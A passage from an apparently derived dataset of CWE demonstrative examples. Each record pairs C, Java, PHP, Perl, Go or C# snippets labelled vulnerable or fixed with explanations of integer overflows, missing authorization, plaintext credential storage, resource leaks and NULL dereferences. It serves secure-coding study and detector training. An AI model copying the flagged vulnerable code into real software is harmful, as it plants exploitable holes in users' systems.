  "example_id": "6",
  "explanation": "In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were \"insecure by design\" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors used cleartext transmission or storage of passwords in their OT products."
}
{
  "source": [
    "img_t table_ptr; /*struct containing img data, 10kB each*/int num_imgs;...num_imgs = get_num_imgs();table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-190",
  "example_id": "1",
  "explanation": "The following image processing code allocates a table for images.This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119)."
}
{
  "source": [
    "nresp = packet_get_int();if (nresp > 0) {response = xmalloc(nresp*sizeof(char*));for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-190",
  "example_id": "2",
  "explanation": "The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response."
}
{
  "source": [
    "short int bytesRec = 0;char buf[SOMEBIGNUM];\nwhile(bytesRec < MAXGET) {bytesRec += getFromInput(buf+bytesRec);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-190",
  "example_id": "3",
  "explanation": "Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf."
}
{
  "source": [
    "#define JAN 1#define FEB 2#define MAR 3\nshort getMonthlySales(int month) {...}\nfloat calculateRevenueForQuarter(short quarterSold) {...}\nint determineFirstQuarterRevenue() {\n\n\n// Variable for sales revenue for the quarter\nfloat quarterRevenue = 0.0f;\nshort JanSold = getMonthlySales(JAN); /* Get sales in January */short FebSold = getMonthlySales(FEB); /* Get sales in February */short MarSold = getMonthlySales(MAR); /* Get sales in March */\n\n// Calculate quarterly total\nshort quarterSold = JanSold + FebSold + MarSold;\n\n// Calculate the total revenue for the quarter\nquarterRevenue = calculateRevenueForQuarter(quarterSold);\nsaveFirstQuarterRevenue(quarterRevenue);\nreturn 0;\n}",
    "...float calculateRevenueForQuarter(long quarterSold) {...}\nint determineFirstQuarterRevenue() {\n...\n// Calculate quarterly total\nlong quarterSold = JanSold + FebSold + MarSold;\n\n// Calculate the total revenue for the quarter\nquarterRevenue = calculateRevenueForQuarter(quarterSold);\n...\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-190",
  "example_id": "4",
  "explanation": "In this example the method determineFirstQuarterRevenue is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for the first three months of the year, calculates the first quarter sales totals from the monthly sales totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first quarter revenue results to the database.However, in this example the primitive type short int is used for both the monthly and the quarterly sales variables. In C the short int primitive type has a maximum value of 32768. This creates a potential integer overflow if the value for the three monthly sales adds up to more than the maximum value for the short int primitive type. An integer overflow can lead to data corruption, unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate primitive type should be used, as in the example below, and/or provide some validation mechanism to ensure that the maximum value for the primitive type is not exceeded.Note that an integer overflow could also occur if the quarterSold variable has a primitive type long but the method calculateRevenueForQuarter has a parameter of type short."
}
{
  "source": [
    "#include <stdio.h>#include <stdbool.h>main (void){int i;i = -2147483648;i = i - 1;return 0;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-191",
  "example_id": "1",
  "explanation": "The following example subtracts from a 32 bit signed integer.The example has an integer underflow. The value of i is already at the lowest negative value possible, so after subtracting 1, the new value of i is 2147483647."
}
{
  "source": [
    "int a = 5, b = 6;\n\t\t    size_t len = a - b;\n\t\t    char buf[len];    // Just blows up the stack\n\t\t  \n\t\t  }"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-191",
  "example_id": "2",
  "explanation": "This code performs a stack allocation based on a length calculation.Since a and b are declared as signed ints, the \"a - b\" subtraction gives a negative result (-1). However, since len is declared to be unsigned, len is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer buf[len] declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space.Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-436",
  "example_id": "1",
  "explanation": "The paper \"Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection\" [REF-428] shows that OSes varied widely in how they manage unusual packets, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of these OS differences."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-436",
  "example_id": "2",
  "explanation": "Null characters have different interpretations in Perl and C, which have security consequences when Perl invokes C functions. Similar problems have been reported in ASP [REF-429] and PHP."
}
{
  "source": [
    "int processMessagesFromServer(char *hostaddr, int port) {\n...int servsock;int connected;struct sockaddr_in servaddr;\n\n// create socket to connect to server\nservsock = socket( AF_INET, SOCK_STREAM, 0);memset( &servaddr, 0, sizeof(servaddr));servaddr.sin_family = AF_INET;servaddr.sin_port = htons(port);servaddr.sin_addr.s_addr = inet_addr(hostaddr);\ndo {\n\n\n// establish connection to server\nconnected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));\n\n// if connected then read and process messages from server\nif (connected > -1) {\n\n\n// read and process messages\n...\n}\n\n\n\n// keep trying to establish connection to the server\n} while (connected < 0);\n\n// close socket and return success or failure\n...\n}",
    "int processMessagesFromServer(char *hostaddr, int port) {\n...\n// initialize number of attempts counter\nint count = 0;do {\n\n\n// establish connection to server\nconnected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));\n\n// increment counter\ncount++;\n\n// if connected then read and process messages from server\nif (connected > -1) {\n\n\n// read and process messages\n...\n}\n\n\n\n// keep trying to establish connection to the server\n\n\n// up to a maximum number of attempts\n} while (connected < 0 && count < MAX_ATTEMPTS);\n\n// close socket and return success or failure\n...\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-835",
  "example_id": "1",
  "explanation": "In the following code the method processMessagesFromServer attempts to establish a connection to a server and read and process messages from the server. The method uses a do/while loop to continue trying to establish the connection to the server when an attempt fails.However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code."
}
{
  "source": [
    "public boolean isReorderNeeded(String bookISBN, int rateSold) {\n\nboolean isReorder = false;\nint minimumCount = 10;int days = 0;\n\n// get inventory count for book\nint inventoryCount = inventory.getIventoryCount(bookISBN);\n\n// find number of days until inventory count reaches minimum\nwhile (inventoryCount > minimumCount) {\n\ninventoryCount = inventoryCount - rateSold;days++;\n\n}\n\n// if number of days within reorder timeframe\n\n\n// set reorder return boolean to true\nif (days > 0 && days < 5) {isReorder = true;}\nreturn isReorder;\n}",
    "public boolean isReorderNeeded(String bookISBN, int rateSold) {\n...\n\n// validate rateSold variable\nif (rateSold < 1) {return isReorder;}\n...\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-835",
  "example_id": "2",
  "explanation": "For this example the method isReorderNeeded as part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop,as in the following code."
}
{
  "source": [
    "public BankAccount createBankAccount(String accountNumber, String accountType,String accountName, String accountSSN, double balance) {\n\nBankAccount account = new BankAccount();account.setAccountNumber(accountNumber);account.setAccountType(accountType);account.setAccountOwnerName(accountName);account.setAccountOwnerSSN(accountSSN);account.setBalance(balance);\nreturn account;\n}",
    "private boolean isUserAuthentic = false;\n\n// authenticate user,\n\n\n// if user is authenticated then set variable to true\n\n\n// otherwise set variable to false\npublic boolean authenticateUser(String username, String password) {...}\npublic BankAccount createNewBankAccount(String accountNumber, String accountType,String accountName, String accountSSN, double balance) {\nBankAccount account = null;\nif (isUserAuthentic) {account = new BankAccount();account.setAccountNumber(accountNumber);account.setAccountType(accountType);account.setAccountOwnerName(accountName);account.setAccountOwnerSSN(accountSSN);account.setBalance(balance);}return account;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-306",
  "example_id": "1",
  "explanation": "In the following Java example the method createBankAccount is used to create a BankAccount object for a bank management application.However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the createBankAccount will not create the bank account object."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-306",
  "example_id": "2",
  "explanation": "In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were \"insecure by design\" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors did not use any authentication for critical functionality in their OT products."
}
{
  "source": [
    "A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]",
    "The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Other"
    },
    {
      "vul_flag": 0,
      "language": "Other"
    }
  ],
  "cwe_id": "CWE-306",
  "example_id": "3",
  "explanation": "In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered."
}
{
  "source": [
    "function runEmployeeQuery($dbName, $name){mysql_select_db($dbName,$globalDbHandle) or die(\"Could not open Database\".$dbName);\n//Use a prepared statement to avoid CWE-89 \n$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');$preparedStatement->execute(array(':name' => $name));return $preparedStatement->fetchAll();}\n/.../\n\n$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-862",
  "example_id": "1",
  "explanation": "This function runs an arbitrary SQL query on a given database, returning the result of the query.While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database."
}
{
  "source": [
    "sub DisplayPrivateMessage {my($id) = @_;my $Message = LookupMessageObject($id);print \"From: \" . encodeHTML($Message->{from}) . \"<br>\\n\";print \"Subject: \" . encodeHTML($Message->{subject}) . \"\\n\";print \"<hr>\\n\";print \"Body: \" . encodeHTML($Message->{body}) . \"\\n\";}\nmy $q = new CGI;\n# For purposes of this example, assume that CWE-309 and \n\n\n\n# CWE-523 do not apply. \nif (! AuthenticateUser($q->param('username'), $q->param('password'))) {ExitError(\"invalid username or password\");}\nmy $id = $q->param('id');DisplayPrivateMessage($id);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    }
  ],
  "cwe_id": "CWE-862",
  "example_id": "2",
  "explanation": "The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.One way to avoid this problem would be to ensure that the \"to\" field in the message object matches the username of the authenticated user."
}
{
  "source": [
    "function persistLogin($username, $password){$data = array(\"username\" => $username, \"password\"=> $password);setcookie (\"userdata\", $data);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-311",
  "example_id": "1",
  "explanation": "This code writes a user's login information to a cookie so the user does not have to login again later.The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie. Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315)."
}
{
  "source": [
    "server.sin_family = AF_INET; hp = gethostbyname(argv[1]);if (hp==NULL) error(\"Unknown host\");memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);if (argc < 3) port = 80;else port = (unsigned short)atoi(argv[3]);server.sin_port = htons(port);if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error(\"Connecting\");...while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {\n\nwrite(dfd,password_buffer,n);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-311",
  "example_id": "2",
  "explanation": "The following code attempts to establish a connection, read in a password, then store it to a buffer.While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors."
}
{
  "source": [
    "try {URL u = new URL(\"http://www.secret.example.org/\");HttpURLConnection hu = (HttpURLConnection) u.openConnection();hu.setRequestMethod(\"PUT\");hu.connect();OutputStream os = hu.getOutputStream();hu.disconnect();}catch (IOException e) {\n\n\n//...\n\n\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-311",
  "example_id": "3",
  "explanation": "The following code attempts to establish a connection to a site to communicate sensitive information.Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors."
}
{
  "source": [
    "private boolean initialized = true;public void someMethod() {\nif (!initialized) {\n\n\n// perform initialization tasks\n...\ninitialized = true;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-909",
  "example_id": "1",
  "explanation": "Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached."
}
{
  "source": [
    "$username = GetCurrentUser();$state = GetStateData($username);if (defined($state)) {$uid = ExtractUserID($state);}\n\n# do stuff\nif ($uid == 0) {DoAdminThings();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    }
  ],
  "cwe_id": "CWE-909",
  "example_id": "2",
  "explanation": "The following code intends to limit certain operations to the administrator only.If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to \"0\" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident."
}
{
  "source": [
    "char str[20];strcat(str, \"hello world\");printf(\"%s\", str);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-909",
  "example_id": "3",
  "explanation": "The following code intends to concatenate a string to a variable and print the string.This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.If a null terminator is found before str[8], then some bytes of random garbage will be printed before the \"hello world\" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found. If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash."
}
{
  "source": [
    "char *test_string;\n                if (i != err_val)\n                {\ntest_string = \"Hello World!\";\n                }\n                printf(\"%s\", test_string);",
    "char *test_string = \"Done at the beginning\";\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\ntest_string = \"Hello World!\";\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);",
    "char *test_string;\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\ntest_string = \"Hello World!\";\n\t\t\t\t}\n\t\t\t\telse {\ntest_string = \"Done on the other side!\";\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-909",
  "example_id": "4",
  "explanation": "This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address. When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457). \n\n\t\t\t  To fix this code, there are a couple approaches to\n\t\t\t  making sure that test_string has been properly set once\n\t\t\t  it reaches the printf().\nOne solution would be to set test_string to an\n\t\t\t  acceptable default before the conditional:\nAnother solution is to ensure that each\n\t\t\t  branch of the conditional - including the default/else\n\t\t\t  branch - could ensure that test_string is set:"
}
{
  "source": [
    "char* getBlock(int fd) {\nchar* buf = (char*) malloc(BLOCK_SIZE);if (!buf) {return NULL;}if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {\n\nreturn NULL;\n}return buf;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-401",
  "example_id": "1",
  "explanation": "The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes:"
}
{
  "source": [
    "private void processFile(string fName){BufferReader fil = new BufferReader(new FileReader(fName));String line;while ((line = fil.ReadLine()) != null){processLine(line);}}",
    "private void processFile(string fName){BufferReader fil = new BufferReader(new FileReader(fName));String line;while ((line = fil.ReadLine()) != null){processLine(line);}fil.Close();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-772",
  "example_id": "1",
  "explanation": "The following method never closes the new file handle. Given enough time, the Finalize() method for BufferReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure."
}
{
  "source": [
    "SqlConnection conn = new SqlConnection(connString);SqlCommand cmd = new SqlCommand(queryString);cmd.Connection = conn;conn.Open();SqlDataReader rdr = cmd.ExecuteReader();HarvestResults(rdr);conn.Connection.Close();"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C#"
    }
  ],
  "cwe_id": "CWE-772",
  "example_id": "2",
  "explanation": "The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries."
}
{
  "source": [
    "try {Connection con = DriverManager.getConnection(some_connection_string);}catch ( Exception e ) {log( e );}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-772",
  "example_id": "3",
  "explanation": "This code attempts to open a connection to a database and catches any exceptions that may occur.If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application."
}
{
  "source": [
    "...SqlConnection conn = new SqlConnection(connString);SqlCommand cmd = new SqlCommand(queryString);cmd.Connection = conn;conn.Open();SqlDataReader rdr = cmd.ExecuteReader();HarvestResults(rdr);conn.Connection.Close();..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C#"
    }
  ],
  "cwe_id": "CWE-772",
  "example_id": "4",
  "explanation": "Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries."
}
{
  "source": [
    "int decodeFile(char* fName) {\nchar buf[BUF_SZ];FILE* f = fopen(fName, \"r\");if (!f) {printf(\"cannot open %s\\n\", fName);return DECODE_FAIL;}else {\nwhile (fgets(buf, BUF_SZ, f)) {if (!checkChecksum(buf)) {return DECODE_FAIL;}else {decodeBlock(buf);}}\n}fclose(f);return DECODE_SUCCESS;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-772",
  "example_id": "5",
  "explanation": "The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles."
}
{
  "source": [
    "if (pointer1 != NULL) {\n\n\n/* make use of pointer1 */\n\n\n/* ... */\n\n\n}"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": ""
    }
  ],
  "cwe_id": "CWE-476",
  "example_id": "1",
  "explanation": "While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished."
}
{
  "source": [
    "void host_lookup(char *user_supplied_addr){\nstruct hostent *hp;in_addr_t *addr;char hostname[64];in_addr_t inet_addr(const char *cp);\n\n/*routine that ensures user_supplied_addr is in the right format for conversion */\n\nvalidate_addr_form(user_supplied_addr);addr = inet_addr(user_supplied_addr);hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);strcpy(hostname, hp->h_name);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-476",
  "example_id": "2",
  "explanation": "This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy(). Note that this code is also vulnerable to a buffer overflow (CWE-119)."
}
{
  "source": [
    "String cmd = System.getProperty(\"cmd\");cmd = cmd.trim();"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-476",
  "example_id": "3",
  "explanation": "In the following code, the programmer assumes that the system always has a property named \"cmd\" defined. If an attacker can control the program's environment so that \"cmd\" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method."
}
{
  "source": [
    "...\nIntentFilter filter = new IntentFilter(\"com.example.URLHandler.openURL\");MyReceiver receiver = new MyReceiver();registerReceiver(receiver, filter);\n...\n\npublic class UrlHandlerReceiver extends BroadcastReceiver {\n@Overridepublic void onReceive(Context context, Intent intent) {\nif(\"com.example.URLHandler.openURL\".equals(intent.getAction())) {String URL = intent.getStringExtra(\"URLToOpen\");int length = URL.length();\n\n...\n}\n}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-476",
  "example_id": "4",
  "explanation": "This Android application has registered to handle a URL when sent an intent:The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called."
}
{
  "source": [
    "func HandleRequest(client http.Client, request *http.Request) (*http.Response, error) {\n                     \n                        response, err := client.Do(request)\n                        defer response.Body.Close()\n                        if err != nil {\n                           \n                              return nil, err\n\n                        }...\n                     }"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Go"
    }
  ],
  "cwe_id": "CWE-476",
  "example_id": "5",
  "explanation": "Consider the following example of a typical client server exchange. The HandleRequest function is intended to perform a request and use a defer to close the connection whenever the function returns.If a user supplies a malformed request or violates the client policy, the Do method can return a nil response and a non-nil err.This HandleRequest Function evaluates the close before checking the error. A deferred call's arguments are evaluated immediately, so the defer statement panics due to a nil response."
}
{
  "source": [
    "my $username=param('username');\n                  my $password=param('password');\n                  \nif (IsValidUsername($username) == 1)\n                  {\n                  if (IsValidPassword($username, $password) == 1)\n                  {\n                  print \"Login Successful\";\n                  }\n                  else\n                  {\n                  print \"Login Failed - incorrect password\";\n                  }\n                  }\n                  else\n                  {\n                  print \"Login Failed - unknown username\";\n                  }",
    "\"Login Failed - incorrect username or password\""
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-203",
  "example_id": "1",
  "explanation": "The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:"
}
{
  "source": [
    "Suppose an algorithm for implementing an encryption routine works fine per se, but the time taken to output the result of the encryption routine depends on a relationship between the input plaintext and the key (e.g., suppose, if the plaintext is similar to the key, it would run very fast).",
    "Artificial delays may be added to ensured all calculations take equal time to execute."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": ""
    },
    {
      "vul_flag": 0,
      "language": ""
    }
  ],
  "cwe_id": "CWE-203",
  "example_id": "2",
  "explanation": "Non-uniform processing time causes timing channel.In the example above, an attacker may vary the inputs, then observe differences between processing times (since different plaintexts take different time). This could be used to infer information about the key."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-203",
  "example_id": "3",
  "explanation": "Suppose memory access patterns for an encryption routine are dependent on the secret key.An attacker can recover the key by knowing if specific memory locations have been accessed or not.  The value stored at those memory locations is irrelevant.  The encryption routine's memory accesses will affect the state of the processor cache.  If cache resources are shared across contexts, after the encryption routine completes, an attacker in different execution context can discover which memory locations the routine accessed by measuring the time it takes for their own memory accesses to complete."
}
{
  "source": [
    "int i;unsigned int numWidgets;Widget **WidgetList;\nnumWidgets = GetUntrustedSizeValue();if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {ExitError(\"Incorrect number of widgets requested!\");}WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));printf(\"WidgetList ptr=%p\\n\", WidgetList);for(i=0; i<numWidgets; i++) {WidgetList[i] = InitializeWidget();}WidgetList[numWidgets] = NULL;showWidgets(WidgetList);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-193",
  "example_id": "1",
  "explanation": "The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption."
}
{
  "source": [
    "char firstname[20];char lastname[20];char fullname[40];fullname[0] = '\\0';strncat(fullname, firstname, 20);strncat(fullname, lastname, 20);",
    "char firstname[20];char lastname[20];char fullname[40];fullname[0] = '\\0';strncat(fullname, firstname, sizeof(fullname)-strlen(fullname)-1);strncat(fullname, lastname, sizeof(fullname)-strlen(fullname)-1);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-193",
  "example_id": "2",
